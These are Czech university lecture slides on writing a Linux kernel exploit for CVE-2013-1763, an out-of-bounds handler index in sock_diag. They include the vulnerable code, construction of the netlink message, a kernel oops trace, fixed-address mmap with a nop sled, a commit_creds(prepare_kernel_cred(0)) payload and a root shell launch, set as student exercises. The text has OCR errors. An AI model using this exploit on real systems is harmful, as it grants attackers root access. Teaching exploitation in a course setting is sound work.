PB173 - Ovladače jádra - Linux XII. Exploit ve 2 hodinách Jiri Slabý Fakulta informatiky Masarykova univerzita 17. 12. 2015 Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 1 /24 Exploit ve 2 hodinách Q Výběr chyby a její popis Q Psaní exploitu • Vykonání__sock_diag_rcv_msg • Dosažení chyby ve funkci • Spuštění rootovského shellu Jiri Slabý (Fakulta informatiky, MU) PB173/04 17.12.2015 2/24 Sekce 1 Výběr chyby a její popis Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 3/24 Výběr chyby Kam se dívat • Exploit database • http://www.exploit-db.com/ • Přes 30'000 exploitů • Nejen pro Linuxové jádro Vybrali jsme chybu v Netlink kódu Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 4/24 Popis chyby • Zranitelnosti jsou číslované o CVE (http: //cve. mitre. org/) • TatojeCVE-2013-1763 • Chyba ve funkci__sock_diag_rcv_msg • Obsluha zpráv • Netlink rodina: af.netlink • Diagnostická vrstva: netlink_sock_diag • Typ zprávy: struct sock_diag_req (viz dále) • Zabalená v Netlink hlavičce: struct nimsghdr sock_diag_rcv_msg obsluhuje zprávy od uživatele. A nesplňuje „POZOR"! Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 5/24 sock_diag_rcv_msg static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */ static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */ static int_sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = nlmsg_data(nlh); const struct sock_diag_handler *hndl; if (nlmsgjen(nlh) < sizeof(*req)) return -EINVAL; if (req->sdiag_family >= AF_MAX) /* commit 6e601 a5356 */ return -EINVAL; mutex_lock(&sock_diag_table_mutex); hndl = sock_diag_handlers[req->sdiag_family]; /* use of user's req->sdiag_family (_u8) */ if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); /* dereference */ mutex unlock(&sock diaa table mutex); Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 6/24 Sekce 2 Psaní exploitu Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 7/24 Psaní exploitu Obecně Co jádro (nechtěně) dělá • Čte/zapisuje z/na uživatelem daný ukazatel • Skáče na uživatelem danou adresu • ... K čemu jádro přimět • Pád • DoS • Spustit uživatelův kód • Eskalace oprávnění Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 8/24 Psaní exploitu Pro__sock_diag_rcv_msg Tři základní kroky O Vykonat__sock_diag_rcv_msg Q Dostat se k chybě ve funkci • Zneužít ji! O Spustit rootovský shell Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 9/24 Subsection 1 Vykonání__sock_diag_rcv_msg Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 10/24 Vykonání funkce Vytvoření zprávy Zpráva SOCK.DIAG vrstvy struct { struct nlmsghdr nlh; /* Netlink header */ struct unix_diag_req r; /* Message from user */ } req; nlmsghdr .nlmsgjen = sizeof(req); .nlmsgjype = SOC K_D I AG_B Y_FAM ILY; .nlmsgjlags = NLM_F_ROOT| NLM_F_MATCH | N LM_F_REQU EST; .nlmsg_seq = 123456; Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 11/24 Vykonání funkce Vytvoření soketu Dva pod kroky O Vytvoření soketu: socket • Rodina: af.netlink • Protokol: netlink_sock_diag O Odeslání zprávy: send Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 12/24 Úkol Vykonání funkce O Vytvořte soket O Vytvořte a pošlete zprávu O Můžete pomocí f trace ověřit, že se funkce vykonala • /sys/kernel/debug/tracing/README Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 13/24 Subsection 2 Dosažení chyby ve funkci Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 14/24 Dosažení chyby ve funkci Opakování kódu jádra static const struct sock_diag_handler *sock_diag_handlers[41]; hndl = sock_diag_handlers[req->sdiag_family]; err = hndl->dump(skb, nlh); unix_diag_req u8 sdiag_family; u8 sdiag_protocol; u16 pad; u32 udiag_states; u32 udiag_ino; u32 udiag_show; u32 udiag_cookie[2]; Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 15/24 Úkol Dosažení chyby ve funkci O Nastavte správný prvek ve struct unix_diag_req o Na správnou hodnotu • AF_MAXJe41 O Opět pošlete takto upravenou zprávu O Pozorujte pád O Restartujte systém Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 16/24 Vyvolání specifické adresy Opakování kódu jádra static const struct sock_diag_handler *sock_diag_handlers[41]; hndl = sock_diag_handlers[req->sdiag_family]; err = hndl->dump(skb, nlh); Při dobře zvoleném indexu, lze zavolat předvídatelnou adresu • Index (req->sdiag_f amily) je__u8 • Maximální hodnota: 255 o Můžeme se dostat na paměť v rozsahu od sock_diag_handiers do sock_diag_handlers + 255*sizeof(void *) • V rozsahu je např. ukazatel nl.table na struct netlink.table • K výpočtu pomůže System.map (Demo) • hndl->dump ~ nl_table->hash.rehash_time, COŽ je jiffies Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 17/24 Oops BUG: unable to handle kernel paging request at 0000000100012a5c IP: [<0000000100012a5c>] 0x100012a5c Call Trace: [< ffffffff81439e66 >] ? sock_diag_rcv_msg+0x76/0x130 [< ffffffff81439df0 >] ? sock_diag_unregister+0x50/0x50 [< ffffffff81519145 >] ? ftrace_graph_caller+0x85/0x85 [< ffffffff81451659 >] netlink_rcv_skb+0xa9/0xc0 [< ffffffff81439d24 >] ? sock_diag_rcv+0x24/0x40 [< ffffffff81450c7a >] ? netlink_unicast+0xda/0x1b0 [< ffffffff8145107c >] ? netlink_sendmsg+0x32c/0x750 [< ffffffff8140eb6b >] ? sock_sendmsg+0x8b/0xc0 [< ffffffff81186d3d >] ? _kmalloc+0x1 cd/0x4a0 [< ffffffff81412103 >] ? sk_prot_alloc+0xb3/0x180 [< ffffffff81186047 >] ? kmem_cache_alloc_trace+0x207/0x450 [< ffffffff8140ecd1 >] ? SYSC_sendto+0xf 1/0x180 [] ? allocjile+0x1e/0xf0 [< ffffffff8140bcaf >] ? sock_alloc_file+0x9f/0x130 [< ffffffff811 ba6aa >] ? _fd_install +0x1 a/0x40 [< ffffffff815192a9 >] ? system_call_fastpath+0x16/0x1 b Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 18/24 Mapování adresy Oops byl na OxOOOOOOOioooi2a5c • Namapovat a naplnit smysluplným kódem! • mmap na předem danou adresu • První parametr: Oxoooooooioooooooo • Délka mapování: dostatečná (např. 0x2000000) • Ochrana: prot.read I prot.write I prot.exec • Vlaječky: map.private I map.fixed I map.anonymous • Vyplnit instrukcí ret (0xc3 na x86) Úkol: namapujte a vyplňte Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 19/24 Subsection 3 Spuštění rootovského shellu Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 20/24 Eskalace oprávnění Volání funkcí jádra V jádře je to jednoduché Pod aktuálním procesem, v prostoru jádra, postačuje: commit_creds(prepare_kernel_cred(0)); Ale jak linkovat funkce jádra v uživatelském prostoru? • Najít adresu • Např. ze System.map • Uvažme adresu A funkce x() • Volat x() nepřímo • void (*y)()= A; yO; Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 21 /24 Eskalace oprávnění Kód Kód k eskalaci oprávnění int (*commit_creds)(unsigned long) = X; unsigned long (*prepare_kernel_cred)( unsigned long) = Y; int kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } Exploit's .text void_jump(void); void_jump_end(void); void jump_payload_not_used() { asm volatile ("_jump:\n" "movq $kernel_code, %rax\n" "jmpq *%rax\n" "_jump_end:\n"); } 0x100000000 nop nop nop movq $kernel_code, %rax jmpq *%rax int kernel_code() { commit_creds(prepare_kernel_cred(0)); return -1; } Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 22/24 Spuštění rootovského shellu Zavolání naší funkce const unsigned long jump_sz =_jump_end -_jump; memset(mmap_start, 0x90, mmap_size); /* 0x90 is 'nop' */ memcpy(mmap_start + mmap_size - jump_sz,_jump, jump_sz); Spuštění shellu if (! getuid()) /* am I really root? */ system(7bin/sh"); Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 23/24 Úkol Spuštění rootovského shellu O Vytvořte si kód pro zavolání jádrem • C i assembler, který ho bude volat Q Spusťte si shell • Po kontrole UID Jiri Slabý (Fakulta informatiky, MU) PB173/04 17. 12. 2015 24/24